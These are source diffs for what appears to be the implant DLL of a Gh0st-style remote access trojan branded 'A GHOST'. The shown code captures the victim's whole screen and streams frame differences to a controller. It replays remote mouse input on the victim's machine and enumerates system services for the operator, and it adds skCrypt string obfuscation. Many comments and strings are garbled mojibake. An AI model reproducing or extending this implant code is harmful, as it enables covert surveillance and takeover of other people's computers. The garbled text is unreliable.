if (ulLength % 28 == 0) // 32λ<32><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
msgSize = 28;
else if (ulLength % 48 == 0) // 64λ<34><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
msgSize = 48;
else return; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG ulMsgCount = ulLength / sizeof(MSG);
ULONG ulMsgCount = ulLength / msgSize;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < ulMsgCount; ++i)
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
{
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message)
{
case WM_LBUTTONDOWN:
@@ -253,11 +320,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
if(m_ScreenSpyObject->m_bZoomed)
{
Point.x *= m_ScreenSpyObject->m_wZoom;
Point.y *= m_ScreenSpyObject->m_hZoom;
}
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}

View File

@@ -11,21 +11,22 @@
#include "Manager.h"
#include "ScreenSpy.h"
#include "ScreenCapture.h"
class IOCPClient;
class CScreenManager : public CManager
{
public:
CScreenManager(IOCPClient* ClientObject, int n);
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfor();
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
CScreenSpy* m_ScreenSpyObject;
ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);

View File

@@ -11,62 +11,55 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
{
m_bAlgorithm = ALGORITHM_DIFF;
m_dwBitBltRop = SRCCOPY;
m_BitmapInfor_Full = NULL;
switch (ulbiBitCount)
{
case 16:
case 32:
m_ulbiBitCount = ulbiBitCount;
break;
default:
m_ulbiBitCount = 16;
}
m_GOP = gop;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode;
memset(&devmode, 0, sizeof (devmode));
devmode.dmSize = sizeof(DEVMODE);
devmode.dmDriverExtra = 0;
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
m_BitmapData_Full = NULL;
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBufferOffset = 0;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
}
CScreenSpy::~CScreenSpy()
{
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
if (m_BitmapInfor_Full != NULL)
{
delete m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
if (m_hFullMemDC!=NULL)
{
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
DeleteDC(m_hFullMemDC);
::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL)
@@ -79,7 +72,7 @@ CScreenSpy::~CScreenSpy()
if (m_hDiffMemDC!=NULL)
{
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
DeleteDC(m_hDiffMemDC);
::DeleteObject(m_DiffBitmapHandle);
if (m_DiffBitmapData_Full!=NULL)
@@ -88,12 +81,6 @@ CScreenSpy::~CScreenSpy()
}
}
if (m_BitmapInfor_Full!=NULL)
{
delete[] m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
if (m_RectBuffer)
{
delete[] m_RectBuffer;
@@ -103,114 +90,27 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0;
}
ULONG CScreenSpy::GetBISize()
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::GetBIData()
{
return m_BitmapInfor_Full;
}
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = ulFullWidth; //1080
BitmapInforHeader->biHeight = ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
return BitmapInfor;
}
LPVOID CScreenSpy::GetFirstScreenData()
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>
::BitBlt(m_hFullMemDC, 0, 0,
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
}
ULONG CScreenSpy::GetFirstScreenLength()
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
if (m_RectBuffer == NULL)
{
return NULL;
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD>
m_RectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
m_BitmapInfor_Full->bmiHeader.biHeight);
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset +
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
return NULL;
}
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
return m_RectBuffer; //<2F>ڴ<EFBFBD>
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
AUTO_TICK(1);
#ifdef COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
AUTO_TICK(70);
#if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
#else
const ULONG ulJumpLine = 50;
const ULONG ulJumpSleep = ulJumpLine / 10;
@@ -223,51 +123,8 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
ulToJump = ulJumpLine;
else
ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
Sleep(ulJumpSleep);
}
#endif
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength)
{
AUTO_TICK(1);
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
continue;
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
ulv1 = ulszBufferOffset + sizeof(int);
ulv2 = ulv1 + sizeof(int);
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
return ulszBufferOffset;
}

View File

@@ -8,46 +8,78 @@
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
#include "CursorInfor.h"
#include "CursorInfo.h"
#include "ScreenCapture.h"
class CScreenSpy
class CScreenSpy : public ScreenCapture
{
public:
CScreenSpy(ULONG ulbiBitCount);
virtual ~CScreenSpy();
ULONG GetBISize();
LPBITMAPINFO GetBIData();
ULONG m_ulbiBitCount;
LPBITMAPINFO m_BitmapInfor_Full;
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight);
private:
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
HDC m_hFullMemDC;
HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
virtual ~CScreenSpy();
int GetWidth()const {
return m_ulFullWidth;
}
int GetHeight() const {
return m_ulFullHeight;
}
bool IsZoomed() const {
return m_bZoomed;
}
double GetWZoom() const {
return m_wZoom;
}
double GetHZoom() const {
return m_hZoom;
}
const LPBITMAPINFO& GetBIData() const
{
return m_BitmapInfor_Full;
}
ULONG GetFirstScreenLength() const
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
virtual LPBYTE ScanNextScreen() {
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
return (LPBYTE)m_DiffBitmapData_Full;
}
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
HDC m_hFullMemDC;
HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full;
DWORD m_dwBitBltRop;
LPVOID GetFirstScreenData();
ULONG GetFirstScreenLength();
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
BYTE* m_RectBuffer;
ULONG m_RectBufferOffset;
BYTE m_bAlgorithm;
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
CCursorInfor m_CursorInfor;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength);
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
};
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

View File

@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
//
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
BEGIN
IDD_DIALOG, DIALOG
BEGIN
BOTTOMMARGIN, 101
END
END
#endif // APSTUDIO_INVOKED
@@ -82,13 +81,14 @@ END
IDR_WAVE WAVE "Res\\msg.wav"
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,1
FILEVERSION 1,0,0,8
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,10 +106,10 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.1"
VALUE "InternalName", "ServerDl.dll"
VALUE "FileVersion", "1.0.0.8"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll"
VALUE "OriginalFilename", "ServerDll.dll"
VALUE "ProductName", "A GHOST"
VALUE "ProductVersion", "1.0.0.1"
END
@@ -120,6 +120,18 @@ BEGIN
END
END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
/////////////////////////////////////////////////////////////////////////////

View File

@@ -10,7 +10,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendServicesList();
}
@@ -30,6 +30,10 @@ VOID CServicesManager::SendServicesList()
LocalFree(szBuffer);
}
#ifndef skCrypt
#define skCrypt(p) p
#endif
LPBYTE CServicesManager::GetServicesList()
{
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
@@ -56,7 +60,7 @@ LPBYTE CServicesManager::GetServicesList()
DWORD dwServicesCount = 0;
DWORD dwResumeHandle = 0;
EnumServicesStatus(m_hscManager,
SERVICE_TYPE_ALL, //CTL_FIX
SERVICE_WIN32, //CTL_FIX
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)ServicesStatus,
64 * 1024,
@@ -65,10 +69,11 @@ LPBYTE CServicesManager::GetServicesList()
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{
SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0;
@@ -82,35 +87,73 @@ LPBYTE CServicesManager::GetServicesList()
}
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
if (ServicesInfor == NULL)
continue;
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
{
ZeroMemory(szRunWay, sizeof(szRunWay));
lstrcat(szRunWay,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
ZeroMemory(szRunWay, sizeof(szRunWay));
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
case SERVICE_STOPPED: {
lstrcatA(szRunWay, skCrypt("ֹͣ"));
break;
}
case SERVICE_START_PENDING: {
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
break;
}
case SERVICE_STOP_PENDING: {
lstrcatA(szRunWay, skCrypt("ֹͣ<EFBFBD><EFBFBD>"));
break;
}
case SERVICE_RUNNING: {
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
break;
}
case SERVICE_CONTINUE_PENDING: {
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
break;
}
case SERVICE_PAUSE_PENDING: {
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD>"));
break;
}
case SERVICE_PAUSED: {
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ"));
break;
}
default: {
lstrcatA(szRunWay, skCrypt("δ֪"));
break;
}
else
{
ZeroMemory(szRunWay, sizeof(szRunWay));
lstrcat(szRunWay,"ֹͣ");
}
if(2==ServicesInfor->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //SERVICE_AUTO_START
{
ZeroMemory(szAutoRun, sizeof(szAutoRun));
lstrcat(szAutoRun,"<EFBFBD>Զ<EFBFBD>");
ZeroMemory(szAutoRun, sizeof(szAutoRun));
switch (ServicesInfor->dwStartType) {
case SERVICE_BOOT_START: {
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ں<EFBFBD>"));
break;
}
if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START
{
ZeroMemory(szAutoRun, sizeof(szAutoRun));
lstrcat(szAutoRun,"<EFBFBD>ֶ<EFBFBD>");
case SERVICE_SYSTEM_START: {
lstrcatA(szAutoRun, skCrypt("ϵͳ"));
break;
}
case SERVICE_AUTO_START: {
lstrcatA(szAutoRun, skCrypt("<EFBFBD>Զ<EFBFBD>"));
break;
}
case SERVICE_DEMAND_START: {
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ֶ<EFBFBD>"));
break;
}
case SERVICE_DISABLED: {
lstrcatA(szAutoRun, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
break;
}
default: {
lstrcatA(szAutoRun, skCrypt("δ֪"));
break;
}
if(4==ServicesInfor->dwStartType)
{
ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED
lstrcat(szAutoRun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
@@ -120,7 +163,8 @@ LPBYTE CServicesManager::GetServicesList()
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
if (szBuffer == NULL)
continue;
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>

View File

@@ -14,12 +14,12 @@
class CServicesManager : public CManager
{
public:
CServicesManager(IOCPClient* ClientObject, int n);
